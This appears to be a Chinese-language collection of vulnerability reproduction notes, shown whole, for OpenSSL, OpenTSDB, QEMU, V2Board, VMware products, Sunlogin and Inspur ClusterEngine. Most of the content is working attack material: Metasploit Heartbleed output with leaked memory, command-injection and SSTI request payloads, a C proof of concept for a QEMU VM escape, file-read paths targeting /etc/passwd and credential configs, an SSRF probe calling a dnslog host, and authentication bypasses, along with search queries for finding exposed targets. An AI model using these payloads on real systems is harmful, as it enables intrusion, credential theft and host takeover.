msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options

Module options (auxiliary/scanner/ssl/openssl_heartbleed):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   DUMPFILTER                         no        Pattern to filter leaked memory before storing
   LEAK_COUNT        1                yes       Number of times to leak memory per SCAN or DUMP invocation
   MAX_KEYTRIES      50               yes       Max tries to dump key
   RESPONSE_TIMEOUT  10               yes       Number of seconds to wait for a server response
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             443              yes       The target port (TCP)
   STATUS_EVERY      5                yes       How many retries until key dump status
   THREADS           1                yes       The number of concurrent threads (max one per host)
   TLS_CALLBACK      None             yes       Protocol to use, "None" to use raw TLS sockets (Accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
   TLS_VERSION       1.0              yes       TLS/SSL version to use (Accepted: SSLv3, 1.0, 1.1, 1.2)


Auxiliary action:

   Name  Description
   ----  -----------
   SCAN  Check hosts for vulnerability


msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rhost 192.168.51.133
rhost => 192.168.51.133
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set  verbose true
verbose => true
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
                                                                                                                                                                                                                                           
[*] 192.168.51.133:443    - Leaking heartbeat response #1                                                                                                                                                                                  
[*] 192.168.51.133:443    - Sending Client Hello...                                                                                                                                                                                        
[*] 192.168.51.133:443    - SSL record #1:                                                                                                                                                                                                 
[*] 192.168.51.133:443    -     Type:    22                                                                                                                                                                                                
[*] 192.168.51.133:443    -     Version: 0x0301                                                                                                                                                                                            
[*] 192.168.51.133:443    -     Length:  86                                                                                                                                                                                                
[*] 192.168.51.133:443    -     Handshake #1:                                                                                                                                                                                              
[*] 192.168.51.133:443    -             Length: 82                                                                                                                                                                                         
[*] 192.168.51.133:443    -             Type:   Server Hello (2)                                                                                                                                                                           
[*] 192.168.51.133:443    -             Server Hello Version:           0x0301                                                                                                                                                             
[*] 192.168.51.133:443    -             Server Hello random data:       5fd46996727a4e50c0e2eaecf52d1592384aaa6870d4d65eea8b6b34eb47a389
[*] 192.168.51.133:443    -             Server Hello Session ID length: 32
[*] 192.168.51.133:443    -             Server Hello Session ID:        66e9cacbefcb28955de31c38bd9dff93de153a6d6247fa117ebc3f2f091d6f74
[*] 192.168.51.133:443    - SSL record #2:
[*] 192.168.51.133:443    -     Type:    22
[*] 192.168.51.133:443    -     Version: 0x0301
[*] 192.168.51.133:443    -     Length:  822
[*] 192.168.51.133:443    -     Handshake #1:
[*] 192.168.51.133:443    -             Length: 818
[*] 192.168.51.133:443    -             Type:   Certificate Data (11)
[*] 192.168.51.133:443    -             Certificates length: 815
[*] 192.168.51.133:443    -             Data length: 818
[*] 192.168.51.133:443    -             Certificate #1:
[*] 192.168.51.133:443    -                     Certificate #1: Length: 812
[*] 192.168.51.133:443    -                     Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name CN=localhost,O=Dis,L=Springfield,ST=Denial,C=US>, issuer=#<OpenSSL::X509::Name CN=localhost,O=Dis,L=Springfield,ST=Denial,C=US>, serial=#<OpenSSL::BN:0x00007efe8154c028>, not_before=2020-08-09 17:03:46 UTC, not_after=2021-08-09 17:03:46 UTC>
[*] 192.168.51.133:443    - SSL record #3:
[*] 192.168.51.133:443    -     Type:    22
[*] 192.168.51.133:443    -     Version: 0x0301
[*] 192.168.51.133:443    -     Length:  331
[*] 192.168.51.133:443    -     Handshake #1:
[*] 192.168.51.133:443    -             Length: 327
[*] 192.168.51.133:443    -             Type:   Server Key Exchange (12)
[*] 192.168.51.133:443    - SSL record #4:
[*] 192.168.51.133:443    -     Type:    22
[*] 192.168.51.133:443    -     Version: 0x0301
[*] 192.168.51.133:443    -     Length:  4
[*] 192.168.51.133:443    -     Handshake #1:
[*] 192.168.51.133:443    -             Length: 0
[*] 192.168.51.133:443    -             Type:   Server Hello Done (14)
[*] 192.168.51.133:443    - Sending Heartbeat...
[*] 192.168.51.133:443    - Heartbeat response, 65535 bytes
[+] 192.168.51.133:443    - Heartbeat response with leak, 65535 bytes
[*] 192.168.51.133:443    - Printable info leaked:
......_...DV.\....G...{.vc..i ..Gv.'....f.....".!.9.8.........5.............................3.2.....E.D...../...A.......................................w.....#.'.g.@.r.v.........8.........2.....E.D.......Q.......P.=...<.......A...............................#.............*.(.........................................+........-.....3.&.$... 3.<.]...et1......L.D.L%*.V8....{............................................................................................................................................jectReference" type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>W&V.b...?....|.y..................................................................................................................................... repeated 15479 times .....................................................................................................................................@..................................................................................................................................... repeated 16122 times .....................................................................................................................................@.................................................................................................................................................................................................................................................................................................................................QA......h.......h.........7.RV....7.RV..................................................................................................................................... repeated 4129 times .....................................................................................................................................0......X.......X.........................7.RV..............................RV..=.c.RV.. .7.RV..x.7.RV....7.RV....7.RV..x.7.RV..x.7.RV..h.7.RV....7.RV....7.RV..192.168.51.146 - - [12/Dec/2020:06:47:40 +0000] "POST /sdk HTTP/1.1" 404 170 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)".org/book/nse.html)"..................................................................................................................................... repeated 3184 times .....................................................................................................................................Q ........................7.RV....7.RV..................................................................................................................................... repeated 7539 times .....................................................................................................................................@..........................................................................................................................................................................................................................................................................................................................................@.......................................................................................................................................................................................................$4.RV..................................@....... .......0.8.RV..........`.......0........$4.RV..jfx...&...~.RV..........PA......`....... '..RV..@d4.RV....................2.RV....................2.RV..........................1.................8.RV..........................1...............................................!...............h....... ...............m..U`.W.....O.>c.....E^X4........kr[..:.1...z[..x.W].........f...3h.qS.&K.(A*q*...].tx.b....X........Np....l.F...5....~..Z2.D..$........................................................................................................................................1.......x.......x.......P.2.RV....2.RV..0.......0.......>#NQ[.8.].......&.i2y.x.I....iOk........a....... '..RV..`.2.RV..................0.2.RV....................2.RV......................;P.e.........................U.6.&`.Ks..w>V.. ^..N..z....z...M.+..n/i..C...D......a..2.p..<.....}k.W:.Eq....Ui*I.X...m...-..x..3}.5NM............... .......P.2.RV..................1.........t.............................0....................V..>...I5.F......!.3Xhy.4.....r.....h.d..b........).......3.....&......IE...c,8.T.~..H.P.{y.....CK.,!&..;..vw....H.C...q....%e..{.XT.jq.R.r.....RHw..57.COlB..|......@...*.G(3..-N..P....mLO..]./.,9..|..+2.Lh..q..dF.m...'.....`...S.8........Q...U.0....I................................................................................................................................................................................................................................................................................ '..RV.. .8.RV..`.2.RV....................8.RV.................................. .2.RV....................2.RV............................................2.RV....................2.RV.......................... .2.RV.. .2.RV..................h.......h.........8.RV....8.RV..................................................................................................................................... repeated 745 times .....................................................................................................................................#8.RV..`.2.RV........!.3Xhy.4.....r.....h.d..b........).......3.....&......IE...c,8.T.~..H.P.{y.....CK.,!&..;..vw....H.C...q....%e..{.XT.jq.R.r.....RHw..57.COlB..|......@...*.G(3..-N..P....mLO..]./.,9..|..+2.Lh..q..dF.m...'.....`...S.8........Q...U.0....I ..................................................................................................................................... repeated 277 times .....................................................................................................................................X.......`.2.RV..........................................................P...........RV............................................................................................................................................................................................................................................................................................................................................2.RV..X..................................................................................................................................... repeated 437 times .....................................................................................................................................A.......X.........1.RV..................................................................................................................................................................................................................................................................................................................................X.......X..................................................................................................................................... repeated 429 times .....................................................................................................................................x.......!.......X.......X..................................................................................................................................... repeated 1942 times .....................................................................................................................................@..........V...R.._.i.rzNP.....-..8J.hp..^..k4.G.. f.....(.]..8......:mbG..~.?/..ot...................6...2../..,0..(0...........j..0...*.H........0V1.0...U....US1.0...U....Denial1.0...U....Springfield1.0...U....Dis1.0...U....localhost0...200809170346Z..210809170346Z0V1.0...U....US1.0...U....Denial1.0...U....Springfield1.0...U....Dis1.0...U....localhost0.."0...*.H.............0.........8...;....../t.....^.....P..=....w.*b.a>.8.Q.?.$.c.......{G. ........l..i...D..V....0......B..J..Y.c.wO.....M.Df..R....".4.u...............P.><7d}VK4^.$.S..U..u..R7l.+.H....;.V\.w.?..).........[....M..3......?..e...WBI^..&.'.nhV!.......V.;...y..+&tm.c1..3-.....0...*.H..............>.c..|.s(......,..H.1..0.=l`...(2..Sb.......`...c....5J....v..uj.*^i.$6^..a3.s.......v...\....M.pK.9....t.&...|y...u1.......u..M..%.+..{e....G..~.v.D.6...............=).3{......r/."vz..a.U..5-.5.=......l..ud......Nx...n..$h...4.G.~b.LU.Y...37..e....%.w.......K...G...A....~m.h,......qz>}uA.^)..A.&}o@..'...y.]..V..S..JY........Y/.u|....$.n.T._.b\\c...o.]....L.h...v*....z..D..?Kq9hJ.kT....?.....=......su....p.S...j.e.....-N}.S...x..Z.....t.;Z...n=.1.......J.1n.l...w. .l.d.W. .........8..`.>O........t...r..~.A$..R...v.8......x.\o<.....#hS......Vz.6....V..l....-.....,n...p.(..L.w.7h3...3..................................................................................................................................... repeated 6250 times .....................................................................................................................................
[*] 192.168.51.133:443    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

img

img

CVE-2022-0778

OpenSSL无限循环DOS漏洞(CVE-2022-0778)

OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。

OpenSSL 1.1.1m 版本及以前存在一处逻辑缺陷,攻击者可以利用一个无效的椭圆曲线参数证书,触发一个无限循环导致耗尽目标CPU。由于证书解析发生在验证证书签名之前,任何解析外部提供的证书的进程都可能受到拒绝服务的攻击。

参考链接:

漏洞环境

执行如下命令启动一个server:

docker compose up -d

漏洞复现

首先,使用这个项目中的代码编译并运行一个恶意服务器。如果你没有Golang相关编译环境,也可以直接使用如下Docker命令启动:

docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345

然后,你可以在Vulhub环境中使用top命令来查看此时的CPU占用:

docker compose exec curl top

由于这个漏洞是发生在解析TLS证书时,所以我们可以使用cURL来复现这个漏洞。进入容器,并执行cURL命令访问前面启动的恶意服务器:

docker compose exec curl bash
curl -k https://host.docker.internal:12345

此时,cURL会陷入死循环,查看top中的CPU占用即可发现已经100%:

image-20240805164735696

opentsdb

CVE-2020-35476

OpenTSDB 命令注入漏洞(CVE-2020-35476)

OpenTSDB是一款基于Hbase的、分布式的、可伸缩的时间序列数据库。在其2.4.0版本及之前,存在一处命令注入漏洞。

参考链接:

漏洞环境

执行如下命令启动一个OpenTSDB 2.4.0:

docker compose up -d

服务启动后,访问http://your-ip:4242即可看到OpenTSDB的Web接口。

漏洞复现

利用这个漏洞需要知道一个metric的名字,我们可以通过http://your-ip:4242/api/suggest?type=metrics&q=&max=10查看metric列表:

我们这里的metrics是空的。

好在当前OpenTSDB开启了自动创建metric功能(tsd.core.auto_create_metrics = true),所以我们可以使用如下API创建一个名为sys.cpu.nice的metric并添加一条记录:

POST /api/put/ HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 150

{
    "metric": "sys.cpu.nice",
    "timestamp": 1346846400,
    "value": 20,
    "tags": {
       "host": "web01",
       "dc": "lga"
    }
}

如果目标OpenTSDB存在metric,且不为空,则无需上述步骤。

发送如下数据包,其中参数m的值必须包含一个有数据的metric:

GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

进入容器中可见touch /tmp/success已成功执行:

image-20240805164949834

CVE-2023-25826

OpenTSDB 命令注入漏洞(CVE-2023-25826)

OpenTSDB是一款基于Hbase的、分布式的、可伸缩的时间序列数据库。
2.4.1版本及之前,存在一处命令注入漏洞。
这个漏洞其实是对之前的CVE-2020-35476修复不完善导致的,所以整个复现过程也与之前类似。

参考链接:

漏洞环境

执行如下命令启动一个OpenTSDB 2.4.1:

docker-compose up -d

服务启动后,访问http://your-ip:4242即可看到OpenTSDB的Web接口。

漏洞复现

这之前的都和CVE-2020-35476一致,也是需要知道一个metric的名字,可以通过http://your-ip:4242/api/suggest?type=metrics&q=&max=10查看metric列表。

如果metrics是空的,由于当前OpenTSDB开启了自动创建metric功能(tsd.core.auto_create_metrics = true),所以也可以使用如下API创建一个名为sys.cpu.nice的metric并添加一条记录:

POST /api/put/ HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 150

{
    "metric": "sys.cpu.nice",
    "timestamp": 1346846400,
    "value": 20,
    "tags": {
       "host": "web01",
       "dc": "lga"
    }
}

如果目标OpenTSDB存在metric,且不为空,则无需上述步骤。

然后这里的poc就有所不同了,这里可以看到绕过修复的一个点,在参数key这里:

GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=1&xrange=&y2range=[42:42]&key=%3Bsystem%20%22touch%20/tmp/poc%22%20%22&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

进入容器中可见touch /tmp/poc已成功执行:

image-20240805165030957

QEMU

CVE-2020-14364

QEMU 虚拟机逃逸漏洞

漏洞描述

当地时间8月24日,一个存在于QEMU USB模拟器中的越界读写漏洞(CVE-2020-14364)被公布。

漏洞位于 ./hw/usb/core.c 中,当程序处理来自客户机的USB数据包时,如果在 do_token_in 与 do_token_out中’USBDevice->setup_len’超过了USBDevice->data_buf[4096],则存在问题。

客户机用户可能会使用此漏洞使QEMU进程崩溃,从而导致DoS或在宿主机上以QEMU进程的特权执行任意代码,实现虚拟机逃逸。

攻击者在拥有云环境虚拟机操作系统权限的情况下,便可利用该漏洞获取宿主机权限,进而攻击虚拟机所在资源池所有租户主机,甚至可通过已开通的内网权限攻击管理域系统,风险极高。

本次漏洞的影响范围较广,涉及qemu 1.0 以上的全部版本。

漏洞影响

Qemu > 1.0

漏洞复现

USB总线通过创建一个USBpacket对象来和USB设备通信。

Usbpacket对象中包含以下关键内容

其中pid表明packet的类型,存在三种类型in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备。

数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。

漏洞存在于s->setup_len赋值的过程do_token_setup中。

虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞。

1.泄露USBdevice对象的地址,观察越界可读内容发现 可以从下方的ep_ctl->dev获取到usbdevice的对象地址

2. 通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。

3. 我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。

4.通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。 该地址位于程序data节区。 这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。

5.在data_buf中伪造irq结构。

6.以伪造结构劫持ehcistate中的irq对象。

7.通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。 完成利用


漏洞POC

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <errno.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <stdbool.h>
#include <netinet/in.h> 

unsigned char* mmio_mem;
char *dmabuf;
struct ohci_hcca * hcca;
struct EHCIqtd * qtd;
struct ohci_ed * ed;
struct ohci_td * td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh * qh;
struct ohci_td * td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;

struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;
    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};


typedef struct EHCIqh {
    uint32_t next;                    /* Standard next link pointer */
    /* endpoint characteristics */
    uint32_t epchar;
    /* endpoint capabilities */
    uint32_t epcap;
    uint32_t current_qtd;             /* Standard next link pointer */
    uint32_t next_qtd;                /* Standard next link pointer */
    uint32_t altnext_qtd;
    uint32_t token;                   /* Same as QTD token */
    uint32_t bufptr[5];               /* Standard buffer pointer */
} EHCIqh;

typedef struct EHCIqtd {
    uint32_t next;                    /* Standard next link pointer */
    uint32_t altnext;                 /* Standard next link pointer */
    uint32_t token;
    uint32_t bufptr[5];               /* Standard buffer pointer */
} EHCIqtd;

uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;
    // Assert page alignment
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);
    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}

 

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

 

uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}

void init(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    mlock(dmabuf, 0x3000);
hcca=dmabuf;
dmabuf32=dmabuf+4;
qtd=dmabuf+0x200;
qh=dmabuf+0x100;
setup_buf=dmabuf+0x300;
}

void init_state(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
struct EHCIqtd * qtd;
qtd=dmabuf+0x200;
qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
setup_buf[6]=0xff;
setup_buf[7]=0x0;
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

void set_length(uint16_t len,uint8_t in){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
setup_buf[0]=in;
setup_buf[6]=len&0xff;
setup_buf[7]=(len>>8)&0xff;
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);

qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

void do_copy_read(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);

qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 1<<8 | 0x1f00<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x1000);
qtd->bufptr[1]=virt2phys(dmabuf+0x2000);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

int main()
{
    init();
    iopl(3);
    outw(0,0xc0c0);
    outw(0,0xc0e0);
    outw(0,0xc010);
    outw(0,0xc0a0);
    sleep(3);
    init_state();
    sleep(2);
    set_length(0x2000,0x80);
    sleep(2);
    do_copy_read();
    sleep(2);
    struct USBDevice* usb_device_tmp=dmabuf+0x2004;
    struct USBDevice usb_device;
    memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
    uint64_t dev_addr=usb_device.ep_ctl.dev;
    uint64_t *tmp=dmabuf+0x24f4;
    long long base=*tmp;
    if(base == 0){
        printf("INIT DOWN,DO IT AGAIN");
        return 0;
}
    base-=0xee5480-0x2668c0;
    uint64_t system=base+0x2d9610;
    puts("\\\\\\\\\\\\\\\\\\\\\\\\");
    printf("LEAK BASE ADDRESS:%llx!\n",base);
    printf("LEAK SYSTEM ADDRESS:%llx!\n",system);
    puts("\\\\\\\\\\\\\\\\\\\\\\\\");
}

V2Board

V2Board Admin.php 越权访问漏洞

漏洞描述

V2board面板 Admin.php 存在越权访问漏洞,由于部分鉴权代码于v1.6.1版本进行了修改,鉴权方式变为从Redis中获取缓存判定是否存在可以调用接口,导致任意用户都可以调用管理员权限的接口获取后台权限

漏洞影响

V2Board v1.6.1

网络测绘

title=”V2Board”

漏洞复现

对比代码更新部分

img

与之前的代码相比较,鉴权在 v1.6.1 版本可以通过 auth_data 或 authorizetion 字段来实现验证

<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Support\Facades\Cache;

class Admin
{
  /**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
  public function handle($request, Closure $next)
  {
    $authorization = $request->input('auth_data') ?? $request->header('authorization');
    if (!$authorization) abort(403, '未登录或登陆已过期');

    $authData = explode(':', base64_decode($authorization));
    if (!Cache::has($authorization)) {
      if (!isset($authData[1]) || !isset($authData[0])) abort(403, '鉴权失败,请重新登入');
      $user = \App\Models\User::where('password', $authData[1])
        ->where('email', $authData[0])
        ->select([
                 'id',
                 'email',
                 'is_admin',
                 'is_staff'
                 ])
        ->first();
      if (!$user) abort(403, '鉴权失败,请重新登入');
      if (!$user->is_admin) abort(403, '鉴权失败,请重新登入');
      Cache::put($authorization, $user->toArray(), 3600);
    }
    $request->merge([
                    'user' => Cache::get($authorization)
                    ]);
    return $next($request);
  }
}

可以发现主要要通过两次逻辑实现验证,一个是存在 header 中的 authorization 参数,再一个是校验 authorizations 是否存在于 Redis缓存中的

img

在登陆验证的代码中,成功使用 email 和 password 登陆后会返回 token 和 auth_data

img

同时 auth_data 会缓存于 Redis 中

img

由于 Admin.php 文件中只验证了 authrization 是否在 Redis的缓存中,所以当注册任意一个用户进行登陆后获取到 auth_data 就可以任意调用 管理员的接口

img

image-20240811201508589

VMware

VMware vCenter vid 任意文件读取漏洞

漏洞描述

VMware vCenter特定版本存在任意文件读取漏洞,攻击者通过构造特定的请求,可以读取服务器上任意文件、

漏洞影响

VMware vCenter Server 6.5.0a- f 版本

网络测绘

title=”ID_VC_Welcome”

漏洞复现

登录页面

image-20220311164942992

Windows主机

/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

Linux主机

/eam/vib?id=/etc/passwd

image-20220311164928273

CVE-2021-21975

VMware vRealize Operations Manager SSRF漏洞

漏洞描述

vRealize Operations Manager API包含服务器端请求伪造。可以通过网络访问vRealize Operations Manager API的恶意攻击者可以执行服务器端请求伪造攻击(SSRF),以窃取管理凭据。

漏洞影响

VMware:vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0

VMware:cloud_foundation: 4.x 3.x

VMware:vRealize_suite_lifecycle_manager: 8.x

网络测绘

title=”vRealize Operations Manager”

漏洞复现

访问登录页面如下

img

发送请求包如下

POST /casa/nodes/thumbprints HTTP/1.1
Host: 
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 24


["eheeyd.dnslog.cn"]

img

POST /casa/nodes/thumbprints HTTP/1.1
Host: 
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 24

["127.0.0.1:443/ui"]

CVE-2022-22954

VMware Workspace ONE Access SSTI漏洞

漏洞描述

VMware Workspace ONE Access(以前称为VMware Identity Manager)旨在通过多因素身份验证、条件访问和单点登录,让您的员工更快地访问SaaS、Web和本机移动应用程序。其中的CVE-2022-22954是一个匿名服务器模板注入漏洞,未经身份验证的攻击者可以利用此漏洞进行远程任意代码执行。

漏洞影响

VMware Workspace ONE Access Appliance (版本号:20.10.0.0 ,20.10.0.1 ,21.08.0.0 ,21.08.0.1 )

VMware Identity Manager Appliance (版本号:3.3.3 , 3.3.4 , 3.3.5 ,3.3.6)

VMware Realize Automation (版本号:7.6)

网络测绘

app=”vmware-Workspace-ONE-Access”

漏洞复现

登录页面

img

验证POC

/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d

image-20240810160403832

向日葵

向日葵 check 远程命令执行漏洞 CNVD-2022-10270

漏洞描述

向日葵通过发送特定的请求获取CID后,可调用 check接口实现远程命令执行,导致服务器权限被获取

漏洞影响

11.0.0.33162

网络测绘

body=”Verification failure”

漏洞复现

向日葵在开启后会默认在 40000-65535 之间开启某端口

img

发送请求获取CID

/cgi-bin/rpc?action=verify-haras

img

使用获取到的 verify_string 作为 cookie的 CID字段,进行命令执行

/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig

image-20240810161919403

浪潮

浪潮ClusterEngineV4.0 sysShell 任意命令执行漏洞

漏洞描述

浪潮ClusterEngineV4.0 存在远程命令执行,攻击者通过发送特殊的请求可以获取服务器权限

漏洞影响

浪潮ClusterEngineV4.0

网络测绘

title=”TSCEV4.0”

漏洞复现

登录页面如下

img

发送请求包

l
POST /sysShell HTTP/1.1 Host: Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: lang=cn Cache-Control: max-age=0 Content-Length: 42 op=doPlease&node=cu01&command=cat /etc/passwd

img

注意参数 node 中的 cu01 需要为shell集群中的存在主机

img

这里可以配合任意用户登录漏洞查看主机名

浪潮ClusterEngineV4.0 任意用户登录漏洞

漏洞描述

浪潮ClusterEngineV4.0 存在任意用户登录漏洞,构造恶意的用户名和密码即可获取后台权限

漏洞影响

浪潮ClusterEngineV4.0

网络测绘

title=”TSCEV4.0”

漏洞复现

登录页面如下

img

USER: admin|pwd
PASS:  任意

成功登陆后台,部分功能是无法使用的

image-20240812145445786

CVE-2020-21224

浪潮ClusterEngineV4.0 远程命令执行漏洞

漏洞描述

浪潮服务器群集管理系统存在危险字符未过滤,导致远程命令执行

漏洞影响

浪潮ClusterEngineV4.0

网络测绘

title=”TSCEV4.0”

漏洞复现

登录页面如下

img

由于登录页面没有发现验证码,进行账号爆破

